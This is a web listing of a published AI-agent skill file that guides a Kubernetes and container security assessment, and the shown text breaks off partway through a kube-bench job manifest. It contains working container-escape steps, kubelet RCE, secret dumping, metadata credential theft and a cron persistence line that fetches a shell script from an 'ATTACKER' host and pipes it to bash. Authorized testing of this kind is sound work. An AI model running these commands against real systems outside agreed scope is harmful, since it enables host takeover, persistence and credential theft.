Container k8s security
Skill ShulkwiSEC/bb-huge/skills/curated/container-k8s-security
bb-huge ๐ค , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill container-k8s-securityAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Container and Kubernetes security assessment. Tests container escape vectors, Docker/containerd socket exposure, K8s RBAC misconfigurations, pod security violations, exposed API servers, etcd access, service account token abuse, image layer secrets, private registry attacks, SSRF to metadata services, cross-namespace network bypass, CIS benchmarks, crypto miner detection, resource exhaustion, and admission controller gaps. Both external and internal (compromised pod) perspectives. Uses trivy, kube-bench, kubectl, nuclei, dive, amicontained, and docker-bench-security. Covers OWASP Kubernetes Top 10 and all 22 Kubernetes Goat attack scenarios.
SKILL.md
48.3 KB, ~13.2k tokens by cl100k_base, as published. Nobody here has run it
Container & Kubernetes Security Assessment
You are an expert container and Kubernetes security engineer performing a comprehensive assessment. Your goal: systematically identify every attack vector in the target environment โ container escapes, Kubernetes misconfigurations, RBAC abuse, exposed secrets, image supply chain weaknesses, network segmentation failures, and missing security controls โ from both external and internal (compromised pod) perspectives.
This skill covers all 22 Kubernetes Goat attack scenarios and the full OWASP Kubernetes Top 10.
Request: $ARGUMENTS
CHAIN COMMITMENTS โ DECLARE BEFORE STARTING
Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.
| Trigger | Chain | Mandatory? | Claude Code | opencode |
|---|---|---|---|---|
After session(action="complete") | /gh-export | OPTIONAL โ user request only | Skill(skill="gh-export") | cat ~/.config/opencode/commands/gh-export.md |
| Container escape achieved | /post-exploit | MANDATORY | Skill(skill="post-exploit") | cat ~/.config/opencode/commands/post-exploit.md |
| Default credentials found on services | /credential-audit | OPTIONAL | Skill(skill="credential-audit") | cat ~/.config/opencode/commands/credential-audit.md |
| Architecture review needed | /threat-modeling | OPTIONAL | Skill(skill="threat-modeling") | cat ~/.config/opencode/commands/threat-modeling.md |
Tools Available
| Tool | Use for |
|---|---|
session(action="start", options={...}) | Define target, scope, depth, and hard limits โ always call this first |
session(action="complete", options={...}) | Mark the scan done and write final notes |
scan(tool="nuclei", ...) | Kubernetes/Docker vulnerability templates |
scan(tool="nmap", ...) | Service discovery (API servers, etcd, kubelet, NodePorts) |
kali(command=...) | Kali tools: trivy, kubectl, curl, kube-bench, docker |
http(action="request", ...) | Direct API probing โ K8s API server, etcd, kubelet, Docker API, registries |
http(action="save_poc", ...) | Save a confirmed exploit as a raw .http file in pocs/ |
report(action="finding", data={...}) | Log a confirmed vulnerability with evidence to findings.json |
report(action="diagram", data={...}) | Save a Mermaid diagram (K8s topology, attack paths) to findings.json |
report(action="dashboard", data={"port": 7777}) | Serve dashboard.html at localhost:7777 |
report(action="note", data={...}) | Write a reasoning note or decision to the session log |
Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) โ this writes the SKILL_CHAIN entry to pentest.log.
ATT&CK Coverage
| Technique | ID | What we test |
|---|---|---|
| Exploit Public-Facing App | T1190 | Exposed K8s API server, Docker daemon, etcd, kubelet, registries, NodePort services |
| Deploy Container | T1610 | Unauthorized container/pod creation, hacker container deployment |
| Container Admin Command | T1609 | Exec into containers, kubectl abuse, kubelet /run endpoint RCE |
| Escape to Host | T1611 | Container breakout via privileged mode, hostPath, chroot, Docker/containerd socket, capabilities |
| Container Image Discovery | T1613 | Image enumeration, private registry /v2/_catalog, image layer inspection |
| Unsecured Credentials in Files | T1552.007 | Service account tokens, secrets in env vars, secrets in image layers, .git exposure |
| Network Service Discovery | T1046 | Cross-namespace scanning, internal service discovery via K8s DNS |
| Cloud Instance Metadata | T1552.005 | SSRF to 169.254.169.254, cloud credential theft |
| Resource Hijacking | T1496 | Crypto miner detection in containers and image layers |
| Account Discovery | T1087 | RBAC enumeration, ClusterRoleBinding audit, SA permission escalation |
OWASP Kubernetes Top 10 Coverage Matrix
| # | Category | Phase | Tests |
|---|---|---|---|
| K01 | Insecure Workload Configuration | 4, 5 | Privileged pods, host namespaces (PID/IPC/Net), hostPath mounts, root containers, missing readOnlyRootFilesystem, dangerous capabilities (SYS_ADMIN, SYS_PTRACE, NET_RAW, AUDIT_CONTROL), missing seccomp/AppArmor profiles |
| K02 | Supply Chain Vulnerabilities | 7, 8 | Image scanning (Trivy), unsigned images, untrusted registries, image layer secret extraction (docker history, docker save, dive), crypto miner payloads in images, .git exposure in container images |
| K03 | Overly Permissive RBAC | 6 | ClusterRoleBindings to cluster-admin, wildcard permissions, service account abuse, SA token API probing, missing resourceNames restrictions, pod creation RBAC |
| K04 | Lack of Centralized Policy Enforcement | 11 | Missing admission controllers (OPA/Gatekeeper, Kyverno, PodSecurity), missing PodSecurityStandards enforcement, ability to deploy arbitrary images |
| K05 | Inadequate Logging and Monitoring | 11 | Missing audit logging (--audit-log-path), missing runtime security (Falco, Tetragon), no anomaly detection |
| K06 | Broken Authentication Mechanisms | 3, 5 | API server anonymous auth, kubelet anonymous auth + /run RCE, default service account auto-mount, bootstrap tokens, etcd unauthenticated access |
| K07 | Missing Network Segmentation | 9 | Missing NetworkPolicies, cross-namespace pod connectivity, flat network exploitation, NodePort exposure |
| K08 | Secrets Management Failures | 7 | Secrets as env vars (not volume mounts), unencrypted etcd, secrets in git/codebases, secrets in image layers, plaintext secrets in manifests, missing external secrets operator |
| K09 | Misconfigured Cluster Components | 3, 10 | API server flags (--anonymous-auth, --allow-privileged, --authorization-mode), kubelet config, etcd encryption, kube-bench CIS audit, docker-bench-security audit |
| K10 | Outdated and Vulnerable K8s Components | 3, 8 | K8s version CVEs, addon versions, container image CVEs (Trivy), EOL base images |
Depth Presets
| Depth | What runs | Default limits |
|---|---|---|
quick | Phase 1-3: Discovery + API probing + anonymous auth | $0.10 |
standard | Quick + Phase 4-7: Pod security + RBAC + secrets + images | $0.50 |
thorough | Standard + Phase 8-11: CIS benchmarks + network segmentation + escape exploitation + defensive gap analysis | unlimited |
Workflow
Phase 0 โ Scope & Setup
- Call
session(action="start", options={...})with target, depth, and limits - Call
report(action="dashboard", data={"port": 7777})โ live findings tracker - Call
report(action="note", data={...})โ record: target type (Docker/K8s/both), perspective (external/internal/both), access level (anonymous/token/kubeconfig), cluster type (kind/EKS/GKE/AKS/vanilla)
Phase 1 โ Service Discovery & Port Scanning
K8s infrastructure port scan:
scan(tool="nmap", target=HOST, options={"ports": "443,2375,2376,2379,2380,4194,5000,6443,8001,8080,8443,8888,9090,10250,10255,10256,30000-32767"})
Port reference:
| Port | Service | Risk if exposed |
|---|---|---|
| 2375/2376 | Docker daemon (HTTP/HTTPS) | Critical โ full container control |
| 2379/2380 | etcd (client/peer) | Critical โ all cluster state + secrets |
| 5000 | Container registry | High โ image enumeration + secret extraction |
| 6443 | K8s API server | Critical if anonymous auth enabled |
| 8001 | kubectl proxy | High โ unauthenticated API access |
| 8080 | K8s API insecure port | Critical โ no auth required |
| 10250 | Kubelet API (HTTPS) | Critical if anonymous auth โ RCE via /run |
| 10255 | Kubelet read-only | Medium โ pod enumeration |
| 30000-32767 | NodePort range | Depends on exposed services |
Phase 2 โ NodePort Service Enumeration
Scan NodePort range for exposed services:
scan(tool="nmap", target=HOST, options={"ports": "30000-32767", "flags": "-sV"})
Enumerate NodePort services via API (if authenticated):
kali(command="kubectl get svc --all-namespaces -o json 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); [print(f\"{s[\"metadata\"][\"namespace\"]}/{s[\"metadata\"][\"name\"]}: type={s[\"spec\"][\"type\"]} ports={[(p.get(\"nodePort\",\"N/A\"),p[\"port\"],p[\"targetPort\"]) for p in s[\"spec\"].get(\"ports\",[])]}\" ) for s in d.get(\"items\",[]) if s[\"spec\"].get(\"type\") == \"NodePort\"]'")
For each discovered NodePort, probe the service:
http(action="request", url="http://TARGET:NODEPORT/", method="GET")
Any NodePort service is a finding โ report each one with the service name, namespace, and what it exposes. NodePort services bypass ingress controls and are accessible on every node IP.
Phase 3 โ K8s API Server & Control Plane Probing
API server version leak + anonymous auth:
http(action="request", url="https://TARGET:6443/version", method="GET")
http(action="request", url="https://TARGET:6443/api", method="GET")
http(action="request", url="https://TARGET:6443/api/v1/namespaces", method="GET")
Anonymous pod and secret enumeration:
kali(command="curl -sk https://TARGET:6443/api/v1/pods 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); [print(f\"{p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]}: {[c[\"image\"] for c in p[\"spec\"][\"containers\"]]}\") for p in d.get(\"items\",[])]' 2>/dev/null | head -30")
kali(command="curl -sk https://TARGET:6443/api/v1/secrets 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); print(f\"Secrets accessible: {len(d.get(\"items\",[]))}\"); [print(f\" {s[\"metadata\"][\"namespace\"]}/{s[\"metadata\"][\"name\"]}: keys={list(s.get(\"data\",{}).keys())}\") for s in d.get(\"items\",[])[:20]]' 2>/dev/null")
etcd direct access (unauthenticated):
kali(command="curl -sk https://TARGET:2379/version 2>/dev/null")
kali(command="curl -sk https://TARGET:2379/v2/keys/ 2>/dev/null | head -50")
kali(command="curl -sk https://TARGET:2379/v3/kv/range -X POST -H 'Content-Type: application/json' -d '{\"key\": \"L3JlZ2lzdHJ5\"}' 2>/dev/null | head -100")
Docker daemon exposure:
http(action="request", url="http://TARGET:2375/version", method="GET")
http(action="request", url="http://TARGET:2375/containers/json", method="GET")
http(action="request", url="http://TARGET:2375/images/json", method="GET")
Kubelet API โ unauthenticated pod listing:
http(action="request", url="https://TARGET:10250/pods", method="GET")
http(action="request", url="http://TARGET:10255/pods", method="GET")
Kubelet RCE via /run endpoint (anonymous auth): If kubelet returns pods at /pods, test command execution:
kali(command="curl -sk https://TARGET:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -X POST -d 'cmd=id' 2>/dev/null")
This is a Critical finding โ unauthenticated RCE on any container via the kubelet API.
kubectl proxy / insecure port:
http(action="request", url="http://TARGET:8001/api/v1/namespaces", method="GET")
http(action="request", url="http://TARGET:8080/api/v1/namespaces", method="GET")
Call report(action="diagram", data={...}) with discovered K8s topology after this phase.
Phase 4 โ Pod Security Context Audit (standard+)
Comprehensive pod security audit โ check ALL dangerous configurations:
kali(command="kubectl get pods --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for p in d.get(\"items\", []):
ns = p[\"metadata\"][\"namespace\"]
name = p[\"metadata\"][\"name\"]
spec = p[\"spec\"]
issues = []
# Host namespaces
if spec.get(\"hostNetwork\"): issues.append(\"hostNetwork=true\")
if spec.get(\"hostPID\"): issues.append(\"hostPID=true\")
if spec.get(\"hostIPC\"): issues.append(\"hostIPC=true\")
# SA auto-mount
if spec.get(\"automountServiceAccountToken\", True): issues.append(\"SA-automount=true\")
for c in spec.get(\"containers\", []):
sc = c.get(\"securityContext\", {})
# Privileged
if sc.get(\"privileged\"): issues.append(f\"{c[\"name\"]}:privileged\")
# Root
if sc.get(\"runAsUser\") == 0 or not sc.get(\"runAsNonRoot\", False): issues.append(f\"{c[\"name\"]}:root-possible\")
# Writable rootfs
if not sc.get(\"readOnlyRootFilesystem\", False): issues.append(f\"{c[\"name\"]}:writable-rootfs\")
# Dangerous capabilities
caps = sc.get(\"capabilities\", {}).get(\"add\", [])
dangerous = [cap for cap in caps if cap in [\"SYS_ADMIN\",\"SYS_PTRACE\",\"NET_RAW\",\"NET_ADMIN\",\"DAC_OVERRIDE\",\"AUDIT_CONTROL\",\"ALL\"]]
if dangerous: issues.append(f\"{c[\"name\"]}:caps={dangerous}\")
# No resource limits
res = c.get(\"resources\", {})
if not res.get(\"limits\"): issues.append(f\"{c[\"name\"]}:no-limits\")
# hostPath volumes
for v in spec.get(\"volumes\", []):
hp = v.get(\"hostPath\", {}).get(\"path\", \"\")
if hp: issues.append(f\"hostPath={hp}\")
if issues:
print(f\"{ns}/{name}: {\" \".join(issues)}\")
' 2>/dev/null")
Severity reference for pod security findings:
| Config | Severity | Impact |
|---|---|---|
privileged: true | Critical | Full host device access, container escape trivial |
hostPID: true + hostNetwork: true + hostIPC: true | Critical | Full host namespace access |
hostPath: / or /var/run/docker.sock | Critical | Host filesystem/Docker API access |
hostPath: /etc or /var/lib | High | Sensitive host config/data access |
capabilities: [SYS_ADMIN] | Critical | Mount host filesystem, escape container |
capabilities: [SYS_PTRACE] | High | Debug/inject into host processes |
capabilities: [NET_RAW, NET_ADMIN] | Medium | ARP spoofing, network sniffing |
runAsUser: 0 / no runAsNonRoot | Medium | Root in container, kernel exploit surface |
No readOnlyRootFilesystem | Low | Attacker can modify container filesystem |
| No resource limits | Medium | DoS via resource exhaustion (CPU/memory) |
automountServiceAccountToken: true | Medium | SA token available for API access |
Phase 5 โ Container Escape Vector Analysis (standard+)
Test from inside containers (via exec or compromised pod perspective).
5a. Container runtime socket discovery:
kali(command="kubectl get pods --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
sockets = [\"/var/run/docker.sock\", \"/run/containerd/containerd.sock\", \"/run/crio/crio.sock\", \"/var/run/cri-dockerd.sock\"]
for p in d.get(\"items\", []):
for v in p[\"spec\"].get(\"volumes\", []):
hp = v.get(\"hostPath\", {}).get(\"path\", \"\")
if any(s in hp for s in sockets):
print(f\"CRITICAL: {p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]} mounts {hp}\")
' 2>/dev/null")
If a container mounts docker.sock, exploit with:
# List all containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
# Create privileged container with host root mounted
curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["sh"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
http://localhost/containers/create
If containerd.sock is mounted, exploit with crictl:
crictl --runtime-endpoint unix:///run/containerd/containerd.sock ps
crictl --runtime-endpoint unix:///run/containerd/containerd.sock exec -it CONTAINER_ID sh
5b. Privileged container escape via chroot: From inside a privileged container:
# Check if privileged
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged
# Verify capabilities
capsh --print 2>/dev/null || cat /proc/self/status | grep Cap
# Mount host filesystem and chroot
mkdir -p /host-system
mount /dev/sda1 /host-system 2>/dev/null || mount /dev/vda1 /host-system 2>/dev/null
chroot /host-system bash
# Steal kubelet credentials for full cluster access
cat /etc/kubernetes/admin.conf 2>/dev/null
cat /etc/kubernetes/kubelet.conf 2>/dev/null
cat /var/lib/kubelet/config.yaml 2>/dev/null
5c. hostPath escape: If a container has hostPath mounted (e.g., /var/lib/google, /host-system, /etc):
# Read host files
ls -la /mounted-host-path/
cat /mounted-host-path/etc/shadow 2>/dev/null
cat /mounted-host-path/etc/kubernetes/admin.conf 2>/dev/null
# Write cron job for persistence
echo "* * * * * root curl http://ATTACKER/shell.sh | bash" >> /mounted-host-path/etc/crontab
5d. Container introspection (from inside pod):
# Identify container runtime and capabilities
amicontained 2>/dev/null
cat /proc/self/cgroup
cat /proc/1/cgroup
# Check mounted filesystems for escape vectors
mount | grep -v overlay
df -h
# Check for host process visibility (hostPID)
ls /proc/1/root/etc/hostname 2>/dev/null && echo "HOST PID NAMESPACE - can see host processes"
# Check network namespace (hostNetwork)
ip a 2>/dev/null || ifconfig 2>/dev/null
cat /etc/resolv.conf
Phase 6 โ RBAC & Service Account Audit (standard+)
6a. Overly permissive ClusterRoleBindings:
kali(command="kubectl get clusterrolebindings -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for b in d.get(\"items\", []):
role = b[\"roleRef\"][\"name\"]
subjects = b.get(\"subjects\", [])
# Flag cluster-admin, admin, edit bindings
if role in [\"cluster-admin\", \"admin\", \"edit\"]:
for s in subjects:
kind = s.get(\"kind\", \"?\")
name = s.get(\"name\", \"?\")
ns = s.get(\"namespace\", \"cluster-wide\")
print(f\"HIGH: {b[\"metadata\"][\"name\"]}: {role} -> {kind}/{name} (ns={ns})\")
# Flag wildcard permissions in custom roles
' 2>/dev/null")
6b. Wildcard and overly broad Roles/ClusterRoles:
kali(command="kubectl get clusterroles -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for r in d.get(\"items\", []):
name = r[\"metadata\"][\"name\"]
if name.startswith(\"system:\"): continue
for rule in r.get(\"rules\", []):
resources = rule.get(\"resources\", [])
verbs = rule.get(\"verbs\", [])
resNames = rule.get(\"resourceNames\", [])
# Flag: wildcard verbs or resources
if \"*\" in verbs or \"*\" in resources:
print(f\"CRITICAL: {name}: verbs={verbs} resources={resources}\")
# Flag: get/list secrets without resourceNames restriction
elif \"secrets\" in resources and any(v in verbs for v in [\"get\",\"list\",\"watch\"]) and not resNames:
print(f\"HIGH: {name}: can read ALL secrets (no resourceNames) verbs={verbs}\")
# Flag: create pods (can be used to escalate)
elif \"pods\" in resources and \"create\" in verbs:
print(f\"MEDIUM: {name}: can create pods (potential escalation)\")
' 2>/dev/null")
6c. Default ServiceAccount token auto-mount:
kali(command="kubectl get serviceaccounts --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for sa in d.get(\"items\", []):
ns = sa[\"metadata\"][\"namespace\"]
name = sa[\"metadata\"][\"name\"]
automount = sa.get(\"automountServiceAccountToken\", True)
if name == \"default\" and automount:
print(f\"MEDIUM: {ns}/default: automountServiceAccountToken=true (should be false)\")
' 2>/dev/null")
6d. SA token API access testing (from inside a pod): Test what a mounted ServiceAccount token can actually do:
# Set up API access variables
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
export SA=/var/run/secrets/kubernetes.io/serviceaccount
export TOKEN=$(cat ${SA}/token)
export CACERT=${SA}/ca.crt
export NS=$(cat ${SA}/namespace)
# Test auth โ what can this SA do?
curl --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" ${APISERVER}/api 2>/dev/null
# Try to list secrets (RBAC escalation test)
curl --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" ${APISERVER}/api/v1/secrets 2>/dev/null | head -50
# Try to list secrets in current namespace
curl --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" ${APISERVER}/api/v1/namespaces/${NS}/secrets 2>/dev/null | head -50
# Try to create pods (privilege escalation path)
curl --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" ${APISERVER}/api/v1/namespaces/${NS}/pods -X POST 2>/dev/null | head -20
# Check permissions programmatically
kubectl auth can-i --list 2>/dev/null
kubectl auth can-i get secrets 2>/dev/null
kubectl auth can-i create pods 2>/dev/null
kubectl auth can-i create clusterrolebindings 2>/dev/null
Phase 7 โ Secrets & Credential Exposure (standard+)
7a. Enumerate all K8s secrets:
kali(command="kubectl get secrets --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys, base64
d = json.load(sys.stdin)
for s in d.get(\"items\", []):
ns = s[\"metadata\"][\"namespace\"]
name = s[\"metadata\"][\"name\"]
stype = s[\"type\"]
keys = list(s.get(\"data\", {}).keys())
# Flag non-SA secrets (likely application secrets)
if stype != \"kubernetes.io/service-account-token\":
print(f\"{ns}/{name}: type={stype} keys={keys}\")
# Try to decode values (look for passwords, keys, tokens)
for k, v in s.get(\"data\", {}).items():
try:
decoded = base64.b64decode(v).decode(\"utf-8\", errors=\"replace\")[:80]
if any(word in k.lower() for word in [\"password\",\"secret\",\"key\",\"token\",\"api\",\"credential\"]):
print(f\" -> {k}: {decoded}\")
except: pass
' 2>/dev/null | head -50")
7b. Check for secrets injected as environment variables (worse than volume mounts):
kali(command="kubectl get pods --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for p in d.get(\"items\", []):
ns = p[\"metadata\"][\"namespace\"]
name = p[\"metadata\"][\"name\"]
for c in p[\"spec\"].get(\"containers\", []):
for env in c.get(\"env\", []):
vf = env.get(\"valueFrom\", {})
sr = vf.get(\"secretKeyRef\", {})
if sr:
print(f\"MEDIUM: {ns}/{name}/{c[\"name\"]}: env {env[\"name\"]} <- secret/{sr.get(\"name\",\"?\")}:{sr.get(\"key\",\"?\")} (should use volume mount)\")
# Hardcoded sensitive env vars
val = env.get(\"value\", \"\")
ename = env.get(\"name\", \"\")
if val and any(w in ename.upper() for w in [\"PASSWORD\",\"SECRET\",\"KEY\",\"TOKEN\",\"API_KEY\",\"CREDENTIAL\"]):
print(f\"HIGH: {ns}/{name}/{c[\"name\"]}: hardcoded {ename}={val[:30]}...\")
' 2>/dev/null | head -30")
7c. Environment variable and mount enumeration from inside a pod:
# Dump all env vars โ K8s injects service discovery info
printenv | sort
# Check for service account token mount
ls -la /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null
# Check for secret volume mounts
mount | grep secret
mount | grep configmap
# K8s DNS service discovery โ find internal services
cat /etc/resolv.conf
# Probe services: servicename.namespace.svc.cluster.local
# Check /proc for cgroup info (container runtime detection)
cat /proc/self/cgroup 2>/dev/null
cat /proc/1/cgroup 2>/dev/null
# Check /etc/hosts for injected entries
cat /etc/hosts
7d. .git exposure in running containers:
kali(command="kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace} {.metadata.name} {.spec.containers[0].name}{\"\\n\"}{end}' 2>/dev/null | head -20 | while read ns pod ctr; do echo \"Checking $ns/$pod...\"; kubectl exec -n \"$ns\" \"$pod\" -c \"$ctr\" -- ls -la /.git 2>/dev/null && echo \"CRITICAL: .git found in $ns/$pod\"; done")
If .git is found in a container, secrets may be in git history:
kubectl exec -n NAMESPACE POD -- git -C / log --oneline --all 2>/dev/null
kubectl exec -n NAMESPACE POD -- git -C / log --all -p -S 'password' 2>/dev/null | head -50
7e. Check etcd encryption at rest:
kali(command="kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath='{.items[0].spec.containers[0].command}' 2>/dev/null | tr ',' '\\n' | grep -i encrypt")
If --encryption-provider-config is absent, secrets are stored in plaintext in etcd.
Phase 8 โ Image Security & Supply Chain (standard+)
8a. List all container images in the cluster:
kali(command="kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.containers[*]}{.image}{\" \"}{end}{\"\\n\"}{end}' 2>/dev/null | sort -u")
8b. Image vulnerability scanning with Trivy:
For each unique image (use --image-src remote to pull from registry, or omit for local Docker):
kali(command="sh -c 'trivy image --severity CRITICAL,HIGH --no-progress --image-src remote IMAGE:TAG > /tmp/trivy-output.txt 2>&1; cat /tmp/trivy-output.txt'")
Flag images that:
- Use
latesttag (mutable, unpinned) - Reference Docker Hub without digest pinning
- Are EOL base images (e.g., redis:5.0.4, node:8, python:2)
- Have CRITICAL CVEs
8c. Image layer inspection โ hidden secrets:
Approach depends on the container runtime. Detect first, then use the appropriate method.
Docker runtime (docker.sock available):
kali(command="sh -c 'docker history --no-trunc IMAGE:TAG > /tmp/history.txt 2>&1; cat /tmp/history.txt'")
containerd/CRI runtime (kind, EKS, GKE, most modern clusters):
Images live inside cluster nodes, not accessible via Docker CLI. Use crictl on the node:
# Inspect image config (env vars, user, entrypoint) โ run on the node hosting the image
kubectl debug node/NODE_NAME -it --image=busybox -- crictl inspecti IMAGE:TAG
# Or via docker exec if kind cluster:
docker exec NODE_NAME crictl inspecti IMAGE:TAG 2>/dev/null | python3 -c "
import json,sys; d=json.load(sys.stdin)
c=d.get('info',{}).get('imageSpec',{}).get('config',{})
for e in c.get('Env',[]): print(f'ENV: {e}')
print(f'User: {c.get(\"User\",\"(not set = root)\")}')
print(f'Entrypoint: {c.get(\"Entrypoint\",[])}')
print(f'Cmd: {c.get(\"Cmd\",[])}')
"
# Export image for layer analysis with dive:
docker exec NODE_NAME crictl image export /tmp/image.tar IMAGE:TAG 2>/dev/null
docker cp NODE_NAME:/tmp/image.tar /tmp/image.tar
Look for patterns in history/config output:
COPY secret.txt,ADD credentials,COPY .envRUN rm /root/secret.txt(file was added then deleted โ still in previous layer)RUN echo "password" > /configfollowed byRUN rm /configRUN curldownloading suspicious payloads- Obfuscated commands (base64 encoded, hex strings)
For Docker-runtime clusters, extract and inspect individual layers:
kali(command="sh -c 'docker save IMAGE:TAG -o /tmp/image.tar && tar -tf /tmp/image.tar'")
kali(command="sh -c 'cd /tmp && tar -xf image.tar && for layer in */layer.tar; do echo \"=== $layer ===\"; tar -tf \"$layer\" | grep -iE \"secret|password|key|token|credential|.env|.git|id_rsa|.pem\" 2>/dev/null; done'")
8d. Dive analysis:
dive needs a Docker daemon or an archive file. Choose the right source:
# Docker runtime โ pull directly
kali(command="sh -c 'dive IMAGE:TAG --ci > /tmp/dive.txt 2>&1; cat /tmp/dive.txt'")
# containerd/CRI runtime โ use exported archive from 8c
kali(command="sh -c 'dive --source docker-archive /tmp/image.tar --ci > /tmp/dive.txt 2>&1; cat /tmp/dive.txt'")
# Remote registry โ pull from registry (works without Docker)
kali(command="sh -c 'dive IMAGE:TAG --ci --source remote > /tmp/dive.txt 2>&1; cat /tmp/dive.txt'")
Note: For images only available inside cluster nodes (not on public registries), you must export via crictl first (see 8c), then use --source docker-archive.
8e. Crypto miner detection in images: Look for crypto mining indicators in image layers and running processes:
kali(command="sh -c 'docker history --no-trunc IMAGE:TAG 2>/dev/null | grep -iE \"xmrig|minergate|coinhive|cryptonight|stratum|pool\\.|monero|bitcoin|ethereum|curl.*mining|wget.*miner|system-startup\"'")
From inside running containers, check for suspicious processes:
kali(command="kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace} {.metadata.name} {.spec.containers[0].name}{\"\\n\"}{end}' 2>/dev/null | head -20 | while read ns pod ctr; do echo \"=== $ns/$pod ===\"; kubectl exec -n \"$ns\" \"$pod\" -c \"$ctr\" -- ps aux 2>/dev/null | grep -ivE 'grep|ps' | head -10; done")
8f. Private container registry enumeration: Scan for exposed registries on port 5000 or discovered via service enumeration:
http(action="request", url="http://TARGET:5000/v2/", method="GET")
http(action="request", url="http://TARGET:5000/v2/_catalog", method="GET")
If the registry is accessible, enumerate repositories and extract image configs:
kali(command="curl -s http://REGISTRY:5000/v2/_catalog 2>/dev/null")
kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/tags/list 2>/dev/null")
kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/manifests/TAG 2>/dev/null | head -50")
Look for environment variables with secrets in image manifests:
kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/manifests/TAG -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); config_digest=d.get(\"config\",{}).get(\"digest\",\"\"); print(f\"Config digest: {config_digest}\")' 2>/dev/null")
kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/blobs/CONFIG_DIGEST 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); env=d.get(\"config\",{}).get(\"Env\",[]); [print(f\"ENV: {e}\") for e in env]' 2>/dev/null")
Phase 9 โ Network Segmentation & Cross-Namespace Testing (thorough)
9a. Check for NetworkPolicies:
kali(command="kubectl get networkpolicies --all-namespaces 2>/dev/null")
No NetworkPolicies = Medium finding โ all pods can communicate freely across all namespaces.
9b. List all namespaces and services for cross-namespace probing:
kali(command="kubectl get namespaces 2>/dev/null")
kali(command="kubectl get svc --all-namespaces 2>/dev/null")
9c. Cross-namespace connectivity test (from inside a pod): The Kubernetes flat network model means any pod can reach any other pod by default unless NetworkPolicies restrict it.
# Discover services in other namespaces via DNS
nslookup kubernetes.default.svc.cluster.local
nslookup redis-service.prod-1.svc.cluster.local
nslookup kubernetes-dashboard.kube-system.svc.cluster.local
# Scan for services across the pod CIDR
# Find pod CIDR from env or resolv.conf
cat /etc/resolv.conf
ip route 2>/dev/null
# Scan internal network for common services
nmap -sT -p 80,443,3306,5432,6379,8080,8443,9200,27017 10.244.0.0/16 2>/dev/null | grep -B5 "open"
9d. SSRF to cloud metadata services: If pods can reach 169.254.169.254, cloud credentials may be accessible:
# AWS metadata
curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME 2>/dev/null
# GCP metadata
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ 2>/dev/null
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token 2>/dev/null
# Azure metadata
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" 2>/dev/null
9e. K8s internal DNS service discovery for SSRF: From inside a pod, enumerate internal services via DNS:
# Kubernetes API internal endpoint
curl -sk https://kubernetes.default.svc.cluster.local/api/v1/namespaces 2>/dev/null | head -20
# Discover services by brute-forcing common names
for svc in redis mysql postgres mongodb elasticsearch dashboard grafana prometheus kibana; do
for ns in default kube-system prod-1 staging monitoring; do
nslookup ${svc}.${ns}.svc.cluster.local 2>/dev/null | grep -v NXDOMAIN && echo "FOUND: ${svc}.${ns}"
done
done
Phase 10 โ CIS Benchmark Audits (thorough)
10a. Kubernetes CIS Benchmark via kube-bench:
kube-bench must run on cluster nodes (needs access to kubelet config, API server manifests, etcd). Deploy as a K8s Job โ this is the recommended approach for all cluster types:
kali(command="kubectl apply -f - <<'EOF'
apiVersion: batch/v1
kind: Job
metadata:
name: kube-bench-master
spec:
template:
spec:
hostPID: true
containers:
